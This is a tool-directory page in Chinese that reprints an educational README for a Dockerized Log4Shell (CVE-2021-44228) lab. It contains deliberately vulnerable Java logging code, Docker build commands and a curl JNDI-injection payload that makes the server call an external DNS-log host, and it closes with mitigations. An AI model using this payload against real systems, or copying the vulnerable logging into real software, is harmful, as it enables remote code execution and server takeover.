Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Log4j-Vulnerability — Apache Log4j漏洞(CVE-2021-44228)测试环境的技术研究与实现。包含一个Docker化的概念验证(PoC)以及PSSI更新建议。用于实训目的。 | Kitploit
工具/GitHubGitHub/loliverte/log4j-vulnerability
容器安全漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubloliverte/log4j-vulnerability

Log4j-Vulnerability

Apache Log4j漏洞(CVE-2021-44228)测试环境的技术研究与实现。包含一个Docker化的概念验证(PoC)以及PSSI更新建议。用于实训目的。

查看仓库
8个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

🔓 Log4Shell漏洞演示(CVE-2021-44228)

本项目是一个受控的测试环境,用于复现和理解影响Apache Log4j库的严重漏洞Log4Shell(CVE-2021-44228)。


📁 项目架构

root@kitploit:~
Secutp1/
├── Dockerfile                           # 构建Docker镜像
├── pom.xml                              # Maven依赖(有漏洞的Log4j 2.14.1)
├── README.md                            # 本文件
└── src/
    └── main/
        └── java/
            └── com/
                └── example/
                    └── VulnerableApplication.java   # 有漏洞的Spring Boot应用

🎯 目标

演示攻击者如何利用漏洞CVE-2021-44228,仅通过发送一个恶意字符串,强制服务器发起未经授权的出站网络连接。


🔍 漏洞代码分析

1. 依赖管理(pom.xml)

pom.xml文件强制使用Log4j 2.14.1,这是安全补丁之前的版本:

root@kitploit:~
<log4j2.version>2.14.1</log4j2.version>

该版本包含默认启用的JndiLookup类,这是问题的根源。

2. Java应用(VulnerableApplication.java)

该应用暴露了一个REST Web服务。漏洞位于index方法中:

root@kitploit:~
@GetMapping("/")
public String index(@RequestParam(name = "input", required = false, defaultValue = "test") String input) {
    // 漏洞行:
    logger.info("接收到请求,input: " + input);
    return "您好!您的输入已被记录:" + input;
}

问题:应用获取用户参数(input)并直接传递给logger.info(),未做任何过滤。Log4j随后将内容解释为潜在的指令。

3. Docker基础设施(Dockerfile)

Dockerfile使用两阶段构建:

  • 阶段1:使用Maven编译(maven:3.8.4-openjdk-11)
  • 阶段2:使用eclipse-temurin:11-jre运行

💡 使用Java 11是恰当的,因为较新版本默认限制远程类加载。


⚙️ 攻击机制

利用基于JNDI(Java命名和目录接口)注入:

  1. Log4j在日志中检测到${jndi:协议://url}语法
  2. 动态尝试连接到指定的URL
  3. 在真实场景中,这允许下载并执行恶意Java类(RCE)

🧪 逐步利用过程

步骤1:准备

确保以下文件位于同一目录:

  • Dockerfile
  • pom.xml
  • src/main/java/com/example/VulnerableApplication.java

步骤2:构建Docker镜像

root@kitploit:~
docker build -t vulnerable-app .

该命令下载Maven依赖(Log4j 2.14.1)并创建镜像。

步骤3:启动容器

root@kitploit:~
docker run -p 8080:8080 --name demo-log4j vulnerable-app

应用现在监听端口8080。

步骤4:准备监听器(Listener)

  1. 访问一个DNS日志服务:

    • dnslog.cn
    • dnslog.org
    • Burp Collaborator
  2. 复制提供的地址(例如我的测试.dnslog.cn)

步骤5:注入Payload

在一个新终端中,运行以下命令:

root@kitploit:~
curl "http://localhost:8080/?input=\${jndi:ldap://我的测试.dnslog.cn/a}"

📝 注意:\字符用于在终端中转义$。

步骤6:验证

返回dnslog网站。您将看到一条DNS请求出现,确认服务器执行了注入的代码。


📊 预期结果


🚨 结论

服务器仅通过记录用户请求,就建立了通向外部机器的出站连接。

在真实场景中,该连接可能用于:

  • 下载恶意Java类
  • 执行任意代码(RCE - 远程代码执行)
  • 完全控制服务器

🛡️ 修复措施

要修复此漏洞:

  1. 升级Log4j至版本2.17.1或更高
  2. 禁用JNDI查找:-Dlog4j2.formatMsgNoLookups=true
  3. 从classpath中移除JndiLookup类

📚 参考资料

  • CVE-2021-44228 - NVD
  • Apache Log4j安全漏洞
  • ANSSI - Log4Shell漏洞

📜 许可证

本项目仅供教育目的。请负责任且合乎道德地使用。

下载工具
步骤操作
1Java应用收到HTTP请求
2logger.info(...)行处理input参数
3Log4j检测到${jndi:...}语法
4Log4j向远程服务器发起LDAP解析
5DNSLog接口上出现一条DNS请求